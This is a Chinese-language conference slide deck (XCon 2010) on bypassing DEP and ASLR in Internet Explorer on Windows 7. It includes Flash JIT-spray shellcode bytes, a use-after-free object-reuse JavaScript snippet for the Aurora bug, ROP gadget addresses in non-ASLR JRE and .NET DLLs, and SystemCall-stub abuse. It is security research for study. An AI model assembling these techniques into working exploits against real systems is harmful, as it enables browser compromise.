



绕过 windows 7浏览器内存保护

Chen XiaoBo

Xiao_Chen@McAfee.com

Xie Jun

Jun_Xie@McAfee.com

Windows 保护机制回顾

- **GS**
 - Stack cookies 防止覆盖EIP
 - 可以通过覆盖SEH chains来绕过/GS保护
- **SafeSEH & SEHOP**
 - SEH handler 验证
 - 可以通过已注册的SEH handler 或者没有SafeSEH标志的DLL内地址覆盖
 - 例如 DNS RPC buffer overflow
 - SEH chain 验证
- **Heap Protection**
 - Safe unlinking
 - Heap cookies
 - Heap metadata encryption
 - Safe LAL (Lookaside lists)
 - 很多保护机制在 vista / 2008 / win7中加入
 - Lookaside 改写技巧还能够在 XP/2003环境中工作



Windows 保护机制回顾

- **DEP**
 - NX support
 - 永久(Permanent) DEP
 - IE 8 DEP is permanent
 - NtSetProcessInformation() 的技巧无法绕过permanent DEP
 - Ret-to-libc or ROP (Return-Oriented Programming) 的shellcode还可以绕过该DEP保护
- **ASLR**
 - Address space layout randomization(地址随机化)
 - Images / stack / heap / PEB / TEB
 - 防止ret-to-libc的利用技巧



Windows 保护机制回顾

- **Brute force**
 - 在IE环境下暴力猜测DLL的基地址
 - 不是很好的方法
- **Information leak**
 - 现在暂时还没有比较有效的内存信息泄露的技术
 - 可能需要依赖其他0day



利用技术的回顾

- Browser memory protection bypasses
 - By Alexander Sotirov & Mark Dowd
 - Flash
 - Flash已经加入了ASLR
 - Java
 - Java 仍分配 RWX 属性的内存
 - 但是分配在Java.exe进程里面(与IE进程分离)
 - .NET 用户控件
 - 曾是最方便的绕过ASLR&DEP的技术
 - IE 8已经禁止在internet zone加载.NET用户控件



目前公开的利用技术

- Flash JIT
 - By Dion Blazakis at BlackHat DC 2010
 - 使用带执行属性的堆内存喷射
 - 同时绕过DEP&ASLR
 - 在IE进程中加载多个SWF文件
 - JIT后内存地址就会变得固定
 - 该技术已经无法在Flash 10.1中使用
 - JIT后的代码已经加密



目前公开的利用技术

- Flash JIT
 - 用ActionScript来编写shellcode
 - 使用长XOR表达式
 - XOR指令只有一个字节 (0x35)
 - 如果和0x3c指令结合就会变成一个类似nop的x86指令
 - CMP AL, 0x35
 - 在shellcode中使用NtAllocateVirtualMemory()/VirtualAlloc()
 - 分配带PAGE_EXECUTE_READWRITE标志的内存
 - 拷贝真正的shellcode并且跳转执行



目前公开的利用技术

- Flash JIT

- 一个简单的NtAllocateVirtualMemory()构造例子

- 3589e5eb01 xor eax,1EBE589h
 - 3583ec103c xor eax,3C10EC83h
 - 356a40eb01 xor eax,1EB406Ah
 - 3531c0eb01 xor eax,1EBC031h
 - 35b410eb01 xor eax,1EB10B4h
 - 355031db3c xor eax,3CDB3150h
 - 35b740eb01 xor eax,1EB40B7h
 - 35895d043c xor eax,3C045D89h
 - 358d5d043c xor eax,3C045D8Dh
 - 355331db3c xor eax,3CDB3153h
 - 356a00eb01 xor eax,1EB006Ah
 - 35895d083c xor eax,3C085D89h
 - 358d5d083c xor eax,3C085D8Dh
 - 35536aff3c xor eax,3CFF6A53h
 - 356a00eb01 xor eax,1EB006Ah



目前公开的利用技术

- Flash JIT
 - 通过在JIT代码地址 + 1执行变成有意义的x86 shellcode
 - 写这样的shellcode显然比较痛苦
 - 写个小工具辅助吧 shellcode2as.exe ☺
 - 自动把任意的shellcode转换成 ActionScript



Case study #1

- Flash JIT with IE aurora on windows 7
 - IE aurora 漏洞
 - use-after-free 漏洞
 - 该类漏洞常见于浏览器的 JS/DOM 使用
 - Root Cause
 - EVENTPARAM 引用 CTreeNode 没有增加计数器
 - 通过调用element.innerHTML CTreeNode 已经被释放了
 - 当访问event对象的srcElement或者toElement导致野指针的问题



Case study #1

- Flash JIT with IE aurora on windows 7
 - 重用对象
 - 获取 CTreeNode 对象分配的大小
 - IE 7: 0x34
 - IE 8: 0x4c
 - 在HTML中分配相同大小的元素来重用对象
 - Go exploit it



Case study #1

- Flash JIT with IE aurora on windows 7
 - `var reuse_object = new Array();`
 - `for(var x=0;x<9200;x++) {`
 - `reuse_object.push(document.createElement("img"));`
 - `}`
 - `for (var x=0; x < 0x4c/4; i ++)`
 - `var string_data = unescape("%u3344%u1122");`
 -
 - `for(var x=0; x < reuse_object.length; x++) {`
 - `reuse_object[x].src = string_data;`
 - `}`



Case study #1

- Flash JIT Demo on windows 7



新的利用技术

- 3rd Party IE plugin on windows 7
 - JRE 没有使用ASLR
 - jp2ssv.dll 缺省加载
 - 如果你想加载更多的 JRE DLLs
 - 在网页中嵌入一个applet
 - `<applet code="some.class"></applet>`



新的利用技术

- 3rd Party IE plugin on windows 7
 - Bonjour for iTunes / QT
 - Adobe Shockwave (dirapi.dll)
 - Assured Exploitation (cansecwest)
 - DEP in depth (syscan 2010)
 - 这些DLL都没有设置ASLR并且大部分缺省加载



新的利用技术

- 3rd Party IE plugin on windows 7
 - 在JRE中找到可用的指令
 - 首先让ESP指向可控的数据
 - LEA ESP, [REG] RET
 - LEA ESP, [REG + XX] RET
 - PUSH REG POP ESP RET
 - XCHG REG, ESP RET
 - XCHG ESP, REG RET
 - MOV ESP, REG RET
 - MOV REG, FS:[0] RET
 - 更加复杂的指令结合: CALL [REG + ???] and XCHG REG, ESP RET
 - ...
 - 编写ROP shellcode来获取控制



新的利用技术

- 3rd Party IE plugin on windows 7
 - 设置shellcode的内存属性为 RWX
 - 最简单的方法就是 call VirtualProtect()
 - WriteProcessMemory()
 - 调用NTWriteProcessMemory()
 - 可以把代码写入只读并且带可执行的内存页 (代码页)来绕过DEP
 - 分配RWX的内存页并且拷贝shellcode执行
 - 例如 Adobe TIFF exploit



新的利用技术

- 3rd Party IE plugin on windows 7
 - msdnsNSP.dll 中一段控制ESP的代码
 - mdnsNSP!DllUnregisterServer+0x7b:
 - 1608114b 94 xchg eax,esp
 - 1608114c 0100 add dword ptr [eax],eax
 - 1608114e 00c3 add bl,al
 - 16081150 b826270000 mov eax,2726h
 - 16081155 c21400 ret 14h



Case study #2

- IE aurora exploit with JRE on windows 7
 - JRE中控制ESP的代码
 - awt!Java_sun_java2d_loops_DrawRect_DrawRect+0x6de:
 - 6d005f6e 94 xchg eax,esp
 - 6d005f6f c3 ret
 - jp2iexp!DllGetClassObject+0x1496:
 - 6d417e6c 94 xchg eax,esp
 - 6d417e6d c3 ret



Case study #2

- IE aurora exploit with JRE on windows 7
 - 把所有的地址通过JS HeapSpray存放在固定的内存中
 - ROP shellcode绕过DEP并且执行真正的功能shellcode
 - 通过完美的内存分配来避免地址对齐的问题



Case study #2

- IE aurora exploit with JRE on windows 7
 - Call [VirtualProtect] in jvm.dll
 - jvm!JVM_FindSignal+0x5732b:
 - 6d97c9cb ff1588d09f6d call dword ptr [jvm!JVM_FindSignal+0xd79e8 (6d9fd088)]
 - 6d97c9d1 f7d8 neg eax
 - 6d97c9d3 1bc0 sbb eax,eax
 - 6d97c9d5 f7d8 neg eax
 - 6d97c9d7 5f pop edi
 - 6d97c9d8 5e pop esi
 - 6d97c9d9 5d pop ebp
 - 6d97c9da c3 ret
 - 返回至 VirtualProtect(mem, 0x2000, 0x40, ptr) 来设置heap内存RWX标志



Case study #2

- IE aurora Java ROP demo on windows 7



新的利用技术

- .NET Framework on windows 7
 - IE 8 的确禁止了 .NET用户控件的加载(internet zone)
 - 不能够再使用加载exploit.dll之类的方法
 - 除非有其他漏洞能够跳转至IE的trusted zone



新的利用技术

- .NET Framework on windows 7
 - 现在这不再是个问题
 - Windows 7 中为了兼容问题安装了 .NET framework (1.0 – 3.5)
 - V1.0 – v2.0 还是试用老的编译器所编译
 - 很多DLL都没有ASLR保护 !!



新的利用技术

- .NET Framework on windows 7
 - 编写一个.NET用户控件并且试用 2.0 C# 编译器编译
 - 会强制IE加载老的.NET DLLs !!
 - 案例:
 - 即使你的.NET用户控件被禁止加载
 - IE进程仍然会加载 .NET IE mime filter DLL



New exploitation technique

- .NET Framework on windows 7
 - ModLoad: 63f00000 63f0c000
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorlib.dll
 - 这个DLL是没有ASLR保护的 !!



新的利用技术

- IE aurora exploit with .NET Framework on windows 7
 - 控制ESP寄存器
 - mscorie!DllGetClassObjectInternal+0x3452:
 - 63f0575b 94 xchg eax,esp
 - 63f0575c 8b00 mov eax,dword ptr [eax]
 - 63f0575e 890424 mov dword ptr [esp],eax
 - 63f05761 c3 ret



新的利用技术

- IE aurora exploit with .NET Framework on windows 7
 - 返回至VirtualProtect() 设置Heap的执行属性
 - mscorie!DllGetClassObjectInternal+0x29e2:
 - 63f04ceb 55 push ebp
 - 63f04cec 8bec mov ebp,esp
 - 63f04cee ff7518 push dword ptr [ebp+18h]
 - 63f04cf1 ff7514 push dword ptr [ebp+14h]
 - 63f04cf4 ff7510 push dword ptr [ebp+10h]
 - 63f04cf7 ff750c push dword ptr [ebp+0Ch]
 - 63f04cfa ff150011f063 call dword ptr [mscorlib+0x1100 (63f01100)] (VirtualProtect)



Case study #3

- IE aurora .NET ROP demo on windows 7



新的利用技术

- SystemCall On Windows

- 0:007> dt _KUSER_SHARED_DATA 0x7ffe0000
ntdll!_KUSER_SHARED_DATA

...

- +0x300 SystemCall : 0x772864f0

- +0x304 SystemCallReturn : 0x772864f4

- 0:007> u 772864f0

- ntdll!KiFastSystemCall:

- 772864f0 8bd4 mov edx,esp

- 772864f2 0f34 sysenter

- ntdll!KiFastSystemCallRet:

- SystemCall 地址 0x7ffe0300没有随机化 !!



New exploitation technique

- SystemCall On Windows

- Windows user-mode enter to Kernel-mode like this

- 0:019> u ZwCreateProcess

- ntdll!NtCreateProcess:

- 77284ae0 b84f000000 mov eax,4Fh

- 77284ae5 ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300)

- 77284aea ff12 call dword ptr [edx]

- 77284aec c22000 ret 20h

- 通过手工构造System Call的参数

- 并且用System Call的技术来绕过DEP&ALSR



Case study #4

- IE MS08-078 exploit with SystemCall on windows

- 通过堆喷射的方法在内存中填充SystemCall的地址
- 在exploit中使用SystemCall地址

- ```
.text:461E3D30 mov eax, [esi] //eax==0x0a0a11c8
.... // 0x11c8 be a systemcall ID
.text:461E3D4C mov ecx, [eax] //[0x0a0a11c8]==0x7ffe027c
.text:461E3D4E push edi
.text:461E3D4F push eax //eax==0x0a0a11c8
.text:461E3D50 call dword ptr [ecx+84h] //call [0x7FFE0300] SystemCall
```
- 以上代码等同于调用NtUserLockWorkStation

```
mov eax,11c8h
mov edx,offset SharedUserData!SystemCallStub (7ffe0300)
call dword ptr [edx]
```



# Case study #4

- System call on x64
  - 7ffe0300 不再存放KiFastSystemCall的地址
  - 通过**call dword ptr fs:[0C0h]**指令来代替系统调用的方法
    - 0:000> u NtQueryInformationToken
    - ntdll!NtQueryInformationToken:
      - 77d9fb38 b81e000000 mov eax,1Eh
      - 77d9fb3d 33c9 xor ecx,ecx
      - 77d9fb3f 8d542404 lea edx,[esp+4]
      - 77d9fb43 64ff15c0000000 call dword ptr fs:[0C0h]
      - 77d9fb4a 83c404 add esp,4
      - 77d9fb4d c21400 ret 14h



# The End

- 以上我们共例举了4种绕过ASLR&DEP的技术



# Thanks

## Q&A



**XCon<sup>®</sup> 2010**